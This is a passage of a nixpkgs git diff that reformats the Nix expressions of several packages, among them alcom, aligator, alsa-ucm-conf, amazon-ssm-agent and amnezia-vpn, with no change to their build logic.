-  buildInputs =
-    [
-      libqalculate
-      libarchive
-      muparser
-      qt6.qtbase
-      qt6.qtscxml
-      qt6.qtsvg
-      qt6.qtdeclarative
-      qt6.qtwayland
-      qt6.qt5compat
-      qt6.qttools
-    ]
-    ++ (with python3Packages; [
-      python
-      pybind11
-    ]);
+  buildInputs = [
+    libqalculate
+    libarchive
+    muparser
+    qt6.qtbase
+    qt6.qtscxml
+    qt6.qtsvg
+    qt6.qtdeclarative
+    qt6.qtwayland
+    qt6.qt5compat
+    qt6.qttools
+  ]
+  ++ (with python3Packages; [
+    python
+    pybind11
+  ]);
 
   postPatch = ''
     find -type f -name CMakeLists.txt -exec sed -i {} -e '/INSTALL_RPATH/d' \;
diff --git a/pkgs/by-name/al/alcom/package.nix b/pkgs/by-name/al/alcom/package.nix
index 75ed8045fbc5..b022cfce8a6f 100644
--- a/pkgs/by-name/al/alcom/package.nix
+++ b/pkgs/by-name/al/alcom/package.nix
@@ -65,16 +65,17 @@ rustPlatform.buildRustPackage {
     pkg-config
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      glib-networking
-      libsoup_3
-      makeBinaryWrapper
-      webkitgtk_4_1
-    ]
-    ++ dotnetSdk.packages
-    ++ dotnetBuild.nugetDeps;
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    glib-networking
+    libsoup_3
+    makeBinaryWrapper
+    webkitgtk_4_1
+  ]
+  ++ dotnetSdk.packages
+  ++ dotnetBuild.nugetDeps;
 
   useFetchCargoVendor = true;
   cargoHash = "sha256-Ph6QZW21JYQJgrUecN+MklWuY51iKC2glPEdgxw+3r8=";
diff --git a/pkgs/by-name/al/algol68g/package.nix b/pkgs/by-name/al/algol68g/package.nix
index 9873c1a09a48..edca142a99cd 100644
--- a/pkgs/by-name/al/algol68g/package.nix
+++ b/pkgs/by-name/al/algol68g/package.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "man"
-  ] ++ lib.optionals withPDFDoc [ "doc" ];
+  ]
+  ++ lib.optionals withPDFDoc [ "doc" ];
 
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/al/aliae/package.nix b/pkgs/by-name/al/aliae/package.nix
index 342cb01d9e0e..eed27dad9603 100644
--- a/pkgs/by-name/al/aliae/package.nix
+++ b/pkgs/by-name/al/aliae/package.nix
@@ -34,16 +34,15 @@ buildGoModule rec {
     "osusergo"
   ];
 
-  postInstall =
-    ''
-      mv $out/bin/{src,aliae}
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd aliae \
-        --bash <($out/bin/aliae completion bash) \
-        --fish <($out/bin/aliae completion fish) \
-        --zsh <($out/bin/aliae completion zsh)
-    '';
+  postInstall = ''
+    mv $out/bin/{src,aliae}
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd aliae \
+      --bash <($out/bin/aliae completion bash) \
+      --fish <($out/bin/aliae completion fish) \
+      --zsh <($out/bin/aliae completion zsh)
+  '';
 
   meta = {
     description = "Cross shell and platform alias management";
diff --git a/pkgs/by-name/al/aligator/package.nix b/pkgs/by-name/al/aligator/package.nix
index 7c26ac68aa57..40c8fa172773 100644
--- a/pkgs/by-name/al/aligator/package.nix
+++ b/pkgs/by-name/al/aligator/package.nix
@@ -36,54 +36,55 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      doxygen
-      cmake
-      graphviz
-      pkg-config
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.pythonImportsCheckHook
-    ];
-  buildInputs =
-    [ fmt ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      llvmPackages.openmp
-    ];
-  propagatedBuildInputs =
-    [ suitesparse ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.crocoddyl
-      python3Packages.matplotlib
-      python3Packages.pinocchio
-      python3Packages.proxsuite-nlp
-    ]
-    ++ lib.optionals (!pythonSupport) [
-      crocoddyl
-      pinocchio
-      proxsuite-nlp
-    ];
-  checkInputs =
-    [ gbenchmark ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.matplotlib
-      python3Packages.pytest
-    ];
+  nativeBuildInputs = [
+    doxygen
+    cmake
+    graphviz
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.pythonImportsCheckHook
+  ];
+  buildInputs = [
+    fmt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    llvmPackages.openmp
+  ];
+  propagatedBuildInputs = [
+    suitesparse
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.crocoddyl
+    python3Packages.matplotlib
+    python3Packages.pinocchio
+    python3Packages.proxsuite-nlp
+  ]
+  ++ lib.optionals (!pythonSupport) [
+    crocoddyl
+    pinocchio
+    proxsuite-nlp
+  ];
+  checkInputs = [
+    gbenchmark
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.matplotlib
+    python3Packages.pytest
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
-      (lib.cmakeBool "BUILD_WITH_PINOCCHIO_SUPPORT" true)
-      (lib.cmakeBool "BUILD_CROCODDYL_COMPAT" true)
-      (lib.cmakeBool "BUILD_WITH_OPENMP_SUPPORT" true)
-      (lib.cmakeBool "BUILD_WITH_CHOLMOD_SUPPORT" true)
-      (lib.cmakeBool "GENERATE_PYTHON_STUBS" false) # this need git at configure time
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && pythonSupport) [
-      # ignore one failing test for now
-      (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'aligator-test-py-rollout|aligator-test-py-frames'")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_PYTHON_INTERFACE" pythonSupport)
+    (lib.cmakeBool "BUILD_WITH_PINOCCHIO_SUPPORT" true)
+    (lib.cmakeBool "BUILD_CROCODDYL_COMPAT" true)
+    (lib.cmakeBool "BUILD_WITH_OPENMP_SUPPORT" true)
+    (lib.cmakeBool "BUILD_WITH_CHOLMOD_SUPPORT" true)
+    (lib.cmakeBool "GENERATE_PYTHON_STUBS" false) # this need git at configure time
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && pythonSupport) [
+    # ignore one failing test for now
+    (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--exclude-regex;'aligator-test-py-rollout|aligator-test-py-frames'")
+  ];
 
   # Fontconfig error: Cannot load default config file: No such file: (null)
   env.FONTCONFIG_FILE = "${fontconfig.out}/etc/fonts/fonts.conf";
diff --git a/pkgs/by-name/al/alot/package.nix b/pkgs/by-name/al/alot/package.nix
index c720e0b8374e..753ef96c167e 100644
--- a/pkgs/by-name/al/alot/package.nix
+++ b/pkgs/by-name/al/alot/package.nix
@@ -16,13 +16,12 @@ buildPythonApplication rec {
   version = "0.11";
   pyproject = true;
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals withManpage [
-      "man"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals withManpage [
+    "man"
+  ];
 
   disabled = !isPy3k;
 
@@ -40,7 +39,8 @@ buildPythonApplication rec {
 
   nativeBuildInputs = [
     setuptools-scm
-  ] ++ lib.optional withManpage sphinx;
+  ]
+  ++ lib.optional withManpage sphinx;
 
   propagatedBuildInputs = [
     configobj
diff --git a/pkgs/by-name/al/alsa-lib/package.nix b/pkgs/by-name/al/alsa-lib/package.nix
index aa7fa40daba8..bfd3d50a7c72 100644
--- a/pkgs/by-name/al/alsa-lib/package.nix
+++ b/pkgs/by-name/al/alsa-lib/package.nix
@@ -16,15 +16,15 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-jE/zdVPL6JYY4Yfkx3n3GpuyqLJ7kfh+1AmHzJIz2PY=";
   };
 
-  patches =
-    [
-      # Add a "libs" field to the syntax recognized in the /etc/asound.conf file.
-      # The nixos modules for pulseaudio, jack, and pipewire are leveraging this
-      # "libs" field to declare locations for both native and 32bit plugins, in
-      # order to support apps with 32bit sound running on x86_64 architecture.
-      ./alsa-plugin-conf-multilib.patch
-    ]
-    ++ lib.optional (stdenv.hostPlatform.useLLVM or false)
+  patches = [
+    # Add a "libs" field to the syntax recognized in the /etc/asound.conf file.
+    # The nixos modules for pulseaudio, jack, and pipewire are leveraging this
+    # "libs" field to declare locations for both native and 32bit plugins, in
+    # order to support apps with 32bit sound running on x86_64 architecture.
+    ./alsa-plugin-conf-multilib.patch
+  ]
+  ++
+    lib.optional (stdenv.hostPlatform.useLLVM or false)
       # Fixes version script under LLVM, should be fixed in the next update.
       # Check if "pkgsLLVM.alsa-lib" builds on next version bump and remove this
       # if it succeeds.
diff --git a/pkgs/by-name/al/alsa-ucm-conf/package.nix b/pkgs/by-name/al/alsa-ucm-conf/package.nix
index ea27eed8fbc6..9827a1d2839f 100644
--- a/pkgs/by-name/al/alsa-ucm-conf/package.nix
+++ b/pkgs/by-name/al/alsa-ucm-conf/package.nix
@@ -18,36 +18,35 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontBuild = true;
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      substituteInPlace ucm2/lib/card-init.conf \
-        --replace-fail "/bin/rm" "${coreutils}/bin/rm" \
-        --replace-fail "/bin/mkdir" "${coreutils}/bin/mkdir"
+    substituteInPlace ucm2/lib/card-init.conf \
+      --replace-fail "/bin/rm" "${coreutils}/bin/rm" \
+      --replace-fail "/bin/mkdir" "${coreutils}/bin/mkdir"
 
-      files=(
-          "ucm2/HDA/HDA.conf"
-          "ucm2/codecs/rt715/init.conf"
-          "ucm2/codecs/rt715-sdca/init.conf"
-          "ucm2/Intel/cht-bsw-rt5672/cht-bsw-rt5672.conf"
-          "ucm2/Intel/bytcr-rt5640/bytcr-rt5640.conf"
-      )
+    files=(
+        "ucm2/HDA/HDA.conf"
+        "ucm2/codecs/rt715/init.conf"
+        "ucm2/codecs/rt715-sdca/init.conf"
+        "ucm2/Intel/cht-bsw-rt5672/cht-bsw-rt5672.conf"
+        "ucm2/Intel/bytcr-rt5640/bytcr-rt5640.conf"
+    )
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      for file in "''${files[@]}"; do
-          substituteInPlace "$file" \
-              --replace-fail '/sbin/modprobe' '${kmod}/bin/modprobe'
-      done
-    ''
-    + ''
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    for file in "''${files[@]}"; do
+        substituteInPlace "$file" \
+            --replace-fail '/sbin/modprobe' '${kmod}/bin/modprobe'
+    done
+  ''
+  + ''
 
-      mkdir -p $out/share/alsa
-      cp -r ucm ucm2 $out/share/alsa
+    mkdir -p $out/share/alsa
+    cp -r ucm ucm2 $out/share/alsa
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   passthru.updateScript = directoryListingUpdater {
     url = "https://www.alsa-project.org/files/pub/lib/";
diff --git a/pkgs/by-name/al/alt-ergo/package.nix b/pkgs/by-name/al/alt-ergo/package.nix
index 4adef6770175..a29807e8476c 100644
--- a/pkgs/by-name/al/alt-ergo/package.nix
+++ b/pkgs/by-name/al/alt-ergo/package.nix
@@ -50,14 +50,16 @@ ocamlPackages.buildDunePackage {
 
   nativeBuildInputs = [
     ocamlPackages.menhir
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.sigtool ];
-  propagatedBuildInputs =
-    [ alt-ergo-parsers ]
-    ++ (with ocamlPackages; [
-      cmdliner
-      dune-site
-      ppxlib
-    ]);
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.sigtool ];
+  propagatedBuildInputs = [
+    alt-ergo-parsers
+  ]
+  ++ (with ocamlPackages; [
+    cmdliner
+    dune-site
+    ppxlib
+  ]);
 
   outputs = [
     "bin"
diff --git a/pkgs/by-name/al/alttpr-opentracker/package.nix b/pkgs/by-name/al/alttpr-opentracker/package.nix
index 3b8406650896..21fbc80973ec 100644
--- a/pkgs/by-name/al/alttpr-opentracker/package.nix
+++ b/pkgs/by-name/al/alttpr-opentracker/package.nix
@@ -48,18 +48,17 @@ buildDotnetModule rec {
     openssl
   ];
 
-  runtimeDeps =
-    [
-      gtk3
-      openssl
-      xinput
-    ]
-    ++ (with xorg; [
-      libICE
-      libSM
-      libX11
-      libXi
-    ]);
+  runtimeDeps = [
+    gtk3
+    openssl
+    xinput
+  ]
+  ++ (with xorg; [
+    libICE
+    libSM
+    libX11
+    libXi
+  ]);
 
   autoPatchelfIgnoreMissingDeps = [
     "libc.musl-x86_64.so.1"
diff --git a/pkgs/by-name/am/amazon-ssm-agent/package.nix b/pkgs/by-name/am/amazon-ssm-agent/package.nix
index 183dfd1d9d60..c206417144ba 100644
--- a/pkgs/by-name/am/amazon-ssm-agent/package.nix
+++ b/pkgs/by-name/am/amazon-ssm-agent/package.nix
@@ -62,13 +62,12 @@ buildGoModule rec {
     ./0002-version-gen-don-t-use-unnecessary-constants.patch
   ];
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.DarwinTools
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.DarwinTools
+  ];
 
   # See the list https://github.com/aws/amazon-ssm-agent/blob/3.2.2143.0/makefile#L121-L147
   # The updater is not built because it cannot work on NixOS
@@ -86,27 +85,26 @@ buildGoModule rec {
     "-w"
   ];
 
-  postPatch =
-    ''
-      printf "#!/bin/sh\ntrue" > ./Tools/src/checkstyle.sh
+  postPatch = ''
+    printf "#!/bin/sh\ntrue" > ./Tools/src/checkstyle.sh
 
-      substituteInPlace agent/platform/platform_unix.go \
-        --replace-fail "/usr/bin/uname" "${coreutils}/bin/uname" \
-        --replace-fail '"/bin", "hostname"' '"${nettools}/bin/hostname"' \
-        --replace-fail '"lsb_release"' '"${fake-lsb-release}/bin/lsb_release"'
+    substituteInPlace agent/platform/platform_unix.go \
+      --replace-fail "/usr/bin/uname" "${coreutils}/bin/uname" \
+      --replace-fail '"/bin", "hostname"' '"${nettools}/bin/hostname"' \
+      --replace-fail '"lsb_release"' '"${fake-lsb-release}/bin/lsb_release"'
 
-      substituteInPlace agent/session/shell/shell_unix.go \
-        --replace-fail '"script"' '"${util-linux}/bin/script"'
+    substituteInPlace agent/session/shell/shell_unix.go \
+      --replace-fail '"script"' '"${util-linux}/bin/script"'
 
-      substituteInPlace agent/rebooter/rebooter_unix.go \
-        --replace-fail "/sbin/shutdown" "shutdown"
+    substituteInPlace agent/rebooter/rebooter_unix.go \
+      --replace-fail "/sbin/shutdown" "shutdown"
 
-      echo "${version}" > VERSION
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace agent/managedInstances/fingerprint/hardwareInfo_unix.go \
-        --replace-fail /usr/sbin/dmidecode ${dmidecode}/bin/dmidecode
-    '';
+    echo "${version}" > VERSION
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace agent/managedInstances/fingerprint/hardwareInfo_unix.go \
+      --replace-fail /usr/sbin/dmidecode ${dmidecode}/bin/dmidecode
+  '';
 
   preBuild = ''
     # Note: if this step fails, please patch the code to fix it! Please only skip
diff --git a/pkgs/by-name/am/amber-lang/package.nix b/pkgs/by-name/am/amber-lang/package.nix
index 6a9ed594d886..727d70e23c5f 100644
--- a/pkgs/by-name/am/amber-lang/package.nix
+++ b/pkgs/by-name/am/amber-lang/package.nix
@@ -54,14 +54,13 @@ rustPlatform.buildRustPackage rec {
     "--skip=tests::formatter::all_exist"
   ];
 
-  postInstall =
-    ''
-      wrapProgram "$out/bin/amber" --prefix PATH : "${lib.makeBinPath [ bc ]}"
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd amber \
-        --bash <($out/bin/amber completion)
-    '';
+  postInstall = ''
+    wrapProgram "$out/bin/amber" --prefix PATH : "${lib.makeBinPath [ bc ]}"
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd amber \
+      --bash <($out/bin/amber completion)
+  '';
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/by-name/am/amberol/package.nix b/pkgs/by-name/am/amberol/package.nix
index 67c87323b67b..f8c67fda8918 100644
--- a/pkgs/by-name/am/amberol/package.nix
+++ b/pkgs/by-name/am/amberol/package.nix
@@ -57,21 +57,20 @@ stdenv.mkDerivation rec {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      dbus
-      glib
-      gtk4
-      libadwaita
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-      gst-libav
-    ]);
+  buildInputs = [
+    dbus
+    glib
+    gtk4
+    libadwaita
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+    gst-libav
+  ]);
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/by-name/am/amd-blis/package.nix b/pkgs/by-name/am/amd-blis/package.nix
index 9e798a882edd..fd3daf10108f 100644
--- a/pkgs/by-name/am/amd-blis/package.nix
+++ b/pkgs/by-name/am/amd-blis/package.nix
@@ -47,13 +47,12 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--enable-cblas"
-      "--blas-int-size=${blasIntSize}"
-    ]
-    ++ lib.optionals withOpenMP [ "--enable-threading=openmp" ]
-    ++ [ withArchitecture ];
+  configureFlags = [
+    "--enable-cblas"
+    "--blas-int-size=${blasIntSize}"
+  ]
+  ++ lib.optionals withOpenMP [ "--enable-threading=openmp" ]
+  ++ [ withArchitecture ];
 
   postPatch = ''
     patchShebangs configure build/flatten-headers.py
diff --git a/pkgs/by-name/am/amd-libflame/package.nix b/pkgs/by-name/am/amd-libflame/package.nix
index d4828e66c4e9..cb8faec47736 100644
--- a/pkgs/by-name/am/amd-libflame/package.nix
+++ b/pkgs/by-name/am/amd-libflame/package.nix
@@ -48,17 +48,16 @@ stdenv.mkDerivation rec {
     aocl-utils
   ];
 
-  cmakeFlags =
-    [
-      "-DLIBAOCLUTILS_LIBRARY_PATH=${lib.getLib aocl-utils}/lib/libaoclutils${stdenv.hostPlatform.extensions.sharedLibrary}"
-      "-DLIBAOCLUTILS_INCLUDE_PATH=${lib.getDev aocl-utils}/include"
-      "-DENABLE_BUILTIN_LAPACK2FLAME=ON"
-      "-DENABLE_CBLAS_INTERFACES=ON"
-      "-DENABLE_EXT_LAPACK_INTERFACE=ON"
-    ]
-    ++ lib.optional (!withOpenMP) "-DENABLE_MULTITHREADING=OFF"
-    ++ lib.optional blas64 "-DENABLE_ILP64=ON"
-    ++ lib.optional withAMDOpt "-DENABLE_AMD_OPT=ON";
+  cmakeFlags = [
+    "-DLIBAOCLUTILS_LIBRARY_PATH=${lib.getLib aocl-utils}/lib/libaoclutils${stdenv.hostPlatform.extensions.sharedLibrary}"
+    "-DLIBAOCLUTILS_INCLUDE_PATH=${lib.getDev aocl-utils}/include"
+    "-DENABLE_BUILTIN_LAPACK2FLAME=ON"
+    "-DENABLE_CBLAS_INTERFACES=ON"
+    "-DENABLE_EXT_LAPACK_INTERFACE=ON"
+  ]
+  ++ lib.optional (!withOpenMP) "-DENABLE_MULTITHREADING=OFF"
+  ++ lib.optional blas64 "-DENABLE_ILP64=ON"
+  ++ lib.optional withAMDOpt "-DENABLE_AMD_OPT=ON";
 
   postInstall = ''
     ln -s $out/lib/libflame.so $out/lib/liblapack.so.3
diff --git a/pkgs/by-name/am/amdvlk/package.nix b/pkgs/by-name/am/amdvlk/package.nix
index 7612f3376d53..d743655d1eba 100644
--- a/pkgs/by-name/am/amdvlk/package.nix
+++ b/pkgs/by-name/am/amdvlk/package.nix
@@ -36,40 +36,38 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-ZXou5g0emeK++NyV/hQllZAdZAMEY9TYs9c+umFdcfo=";
   };
 
-  buildInputs =
-    [
-      expat
-      libdrm
-      ncurses
-      openssl
-      wayland
-      zlib
-    ]
-    ++ (with xorg; [
-      libX11
-      libxcb
-      xcbproto
-      libXext
-      libXrandr
-      libXft
-      libxshmfence
-    ]);
+  buildInputs = [
+    expat
+    libdrm
+    ncurses
+    openssl
+    wayland
+    zlib
+  ]
+  ++ (with xorg; [
+    libX11
+    libxcb
+    xcbproto
+    libXext
+    libXrandr
+    libXft
+    libxshmfence
+  ]);
 
-  nativeBuildInputs =
-    [
-      cmake
-      directx-shader-compiler
-      glslang
-      ninja
-      patchelf
-      perl
-      pkg-config
-      python3
-    ]
-    ++ (with python3.pkgs; [
-      jinja2
-      ruamel-yaml
-    ]);
+  nativeBuildInputs = [
+    cmake
+    directx-shader-compiler
+    glslang
+    ninja
+    patchelf
+    perl
+    pkg-config
+    python3
+  ]
+  ++ (with python3.pkgs; [
+    jinja2
+    ruamel-yaml
+  ]);
 
   rpath = lib.makeLibraryPath (
     [
diff --git a/pkgs/by-name/am/amnezia-vpn/package.nix b/pkgs/by-name/am/amnezia-vpn/package.nix
index aae7e13c13af..011b45d8f252 100644
--- a/pkgs/by-name/am/amnezia-vpn/package.nix
+++ b/pkgs/by-name/am/amnezia-vpn/package.nix
@@ -74,37 +74,36 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  postPatch =
-    ''
-      substituteInPlace client/platforms/linux/daemon/wireguardutilslinux.cpp \
-        --replace-fail 'm_tunnel.start(appPath.filePath("../../client/bin/wireguard-go"), wgArgs);' 'm_tunnel.start("${amneziawg-go}/bin/amneziawg-go", wgArgs);'
-      substituteInPlace client/utilities.cpp \
-        --replace-fail 'return Utils::executable("../../client/bin/openvpn", true);' 'return Utils::executable("${openvpn}/bin/openvpn", false);' \
-        --replace-fail 'return Utils::executable("../../client/bin/tun2socks", true);' 'return Utils::executable("${amnezia-tun2socks}/bin/amnezia-tun2socks", false);' \
-        --replace-fail 'return Utils::usrExecutable("wg-quick");' 'return Utils::executable("${wireguard-tools}/bin/wg-quick", false);'
-      substituteInPlace client/protocols/xrayprotocol.cpp \
-        --replace-fail 'return Utils::executable(QString("xray"), true);' 'return Utils::executable(QString("${amnezia-xray}/bin/xray"), false);'
-      substituteInPlace client/protocols/openvpnovercloakprotocol.cpp \
-        --replace-fail 'return Utils::executable(QString("/ck-client"), true);' 'return Utils::executable(QString("${cloak-pt}/bin/ck-client"), false);'
-      substituteInPlace client/protocols/shadowsocksvpnprotocol.cpp \
-        --replace-fail 'return Utils::executable(QString("/ss-local"), true);' 'return Utils::executable(QString("${shadowsocks-rust}/bin/sslocal"), false);'
-      substituteInPlace client/configurators/openvpn_configurator.cpp \
-        --replace-fail ".arg(qApp->applicationDirPath());" ".arg(\"$out/libexec\");"
-      substituteInPlace client/ui/qautostart.cpp \
-        --replace-fail "/usr/share/pixmaps/AmneziaVPN.png" "AmneziaVPN"
-      substituteInPlace deploy/installer/config/AmneziaVPN.desktop.in \
-        --replace-fail "/usr/share/pixmaps/AmneziaVPN.png" "$out/share/pixmaps/AmneziaVPN.png"
-      substituteInPlace deploy/data/linux/AmneziaVPN.service \
-        --replace-fail "ExecStart=/opt/AmneziaVPN/service/AmneziaVPN-service.sh" "ExecStart=$out/bin/AmneziaVPN-service" \
-        --replace-fail "Environment=LD_LIBRARY_PATH=/opt/AmneziaVPN/client/lib" ""
-    ''
-    + (lib.optionalString (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) ''
-      substituteInPlace client/cmake/3rdparty.cmake \
-        --replace-fail 'set(LIBSSH_LIB_PATH "''${LIBSSH_ROOT_DIR}/linux/x86_64/libssh.a")' 'set(LIBSSH_LIB_PATH "${libssh}/lib/libssh.so")' \
-        --replace-fail 'set(ZLIB_LIB_PATH "''${LIBSSH_ROOT_DIR}/linux/x86_64/libz.a")' 'set(ZLIB_LIB_PATH "${zlib}/lib/libz.so")' \
-        --replace-fail 'set(OPENSSL_LIB_SSL_PATH "''${OPENSSL_ROOT_DIR}/linux/x86_64/libssl.a")' 'set(OPENSSL_LIB_SSL_PATH "''${OPENSSL_ROOT_DIR}/linux/arm64/libssl.a")' \
-        --replace-fail 'set(OPENSSL_LIB_CRYPTO_PATH "''${OPENSSL_ROOT_DIR}/linux/x86_64/libcrypto.a")' 'set(OPENSSL_LIB_CRYPTO_PATH "''${OPENSSL_ROOT_DIR}/linux/arm64/libcrypto.a")'
-    '');
+  postPatch = ''
+    substituteInPlace client/platforms/linux/daemon/wireguardutilslinux.cpp \
+      --replace-fail 'm_tunnel.start(appPath.filePath("../../client/bin/wireguard-go"), wgArgs);' 'm_tunnel.start("${amneziawg-go}/bin/amneziawg-go", wgArgs);'
+    substituteInPlace client/utilities.cpp \
+      --replace-fail 'return Utils::executable("../../client/bin/openvpn", true);' 'return Utils::executable("${openvpn}/bin/openvpn", false);' \
+      --replace-fail 'return Utils::executable("../../client/bin/tun2socks", true);' 'return Utils::executable("${amnezia-tun2socks}/bin/amnezia-tun2socks", false);' \
+      --replace-fail 'return Utils::usrExecutable("wg-quick");' 'return Utils::executable("${wireguard-tools}/bin/wg-quick", false);'
+    substituteInPlace client/protocols/xrayprotocol.cpp \
+      --replace-fail 'return Utils::executable(QString("xray"), true);' 'return Utils::executable(QString("${amnezia-xray}/bin/xray"), false);'
+    substituteInPlace client/protocols/openvpnovercloakprotocol.cpp \
+      --replace-fail 'return Utils::executable(QString("/ck-client"), true);' 'return Utils::executable(QString("${cloak-pt}/bin/ck-client"), false);'
+    substituteInPlace client/protocols/shadowsocksvpnprotocol.cpp \
+      --replace-fail 'return Utils::executable(QString("/ss-local"), true);' 'return Utils::executable(QString("${shadowsocks-rust}/bin/sslocal"), false);'
+    substituteInPlace client/configurators/openvpn_configurator.cpp \
+      --replace-fail ".arg(qApp->applicationDirPath());" ".arg(\"$out/libexec\");"
+    substituteInPlace client/ui/qautostart.cpp \
+      --replace-fail "/usr/share/pixmaps/AmneziaVPN.png" "AmneziaVPN"
+    substituteInPlace deploy/installer/config/AmneziaVPN.desktop.in \
+      --replace-fail "/usr/share/pixmaps/AmneziaVPN.png" "$out/share/pixmaps/AmneziaVPN.png"
+    substituteInPlace deploy/data/linux/AmneziaVPN.service \
+      --replace-fail "ExecStart=/opt/AmneziaVPN/service/AmneziaVPN-service.sh" "ExecStart=$out/bin/AmneziaVPN-service" \
+      --replace-fail "Environment=LD_LIBRARY_PATH=/opt/AmneziaVPN/client/lib" ""
+  ''
+  + (lib.optionalString (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) ''
+    substituteInPlace client/cmake/3rdparty.cmake \
+      --replace-fail 'set(LIBSSH_LIB_PATH "''${LIBSSH_ROOT_DIR}/linux/x86_64/libssh.a")' 'set(LIBSSH_LIB_PATH "${libssh}/lib/libssh.so")' \
+      --replace-fail 'set(ZLIB_LIB_PATH "''${LIBSSH_ROOT_DIR}/linux/x86_64/libz.a")' 'set(ZLIB_LIB_PATH "${zlib}/lib/libz.so")' \
+      --replace-fail 'set(OPENSSL_LIB_SSL_PATH "''${OPENSSL_ROOT_DIR}/linux/x86_64/libssl.a")' 'set(OPENSSL_LIB_SSL_PATH "''${OPENSSL_ROOT_DIR}/linux/arm64/libssl.a")' \
+      --replace-fail 'set(OPENSSL_LIB_CRYPTO_PATH "''${OPENSSL_ROOT_DIR}/linux/x86_64/libcrypto.a")' 'set(OPENSSL_LIB_CRYPTO_PATH "''${OPENSSL_ROOT_DIR}/linux/arm64/libcrypto.a")'
+  '');
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/am/amneziawg-tools/package.nix b/pkgs/by-name/am/amneziawg-tools/package.nix
index df1d7f2e6bcd..f5c8f3a30a65 100644
--- a/pkgs/by-name/am/amneziawg-tools/package.nix
+++ b/pkgs/by-name/am/amneziawg-tools/package.nix
@@ -41,36 +41,35 @@ stdenv.mkDerivation (finalAttrs: {
     "WITH_WGQUICK=yes"
   ];
 
-  postFixup =
-    ''
-      substituteInPlace $out/lib/systemd/system/awg-quick@.service \
-        --replace-fail /usr/bin $out/bin
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      for f in $out/bin/*; do
-        # Which firewall and resolvconf implementations to use should be determined by the
-        # environment, we provide the "default" ones as fallback.
-        wrapProgram $f \
-          --prefix PATH : ${
-            lib.makeBinPath [
-              procps
-              iproute2
-            ]
-          } \
-          --suffix PATH : ${
-            lib.makeBinPath [
-              iptables
-              openresolv
-            ]
-          }
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      for f in $out/bin/*; do
-        wrapProgram $f \
-          --prefix PATH : ${lib.makeBinPath [ amneziawg-go ]}
-      done
-    '';
+  postFixup = ''
+    substituteInPlace $out/lib/systemd/system/awg-quick@.service \
+      --replace-fail /usr/bin $out/bin
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    for f in $out/bin/*; do
+      # Which firewall and resolvconf implementations to use should be determined by the
+      # environment, we provide the "default" ones as fallback.
+      wrapProgram $f \
+        --prefix PATH : ${
+          lib.makeBinPath [
+            procps
+            iproute2
+          ]
+        } \
+        --suffix PATH : ${
+          lib.makeBinPath [
+            iptables
+            openresolv
+          ]
+        }
+    done
+  ''
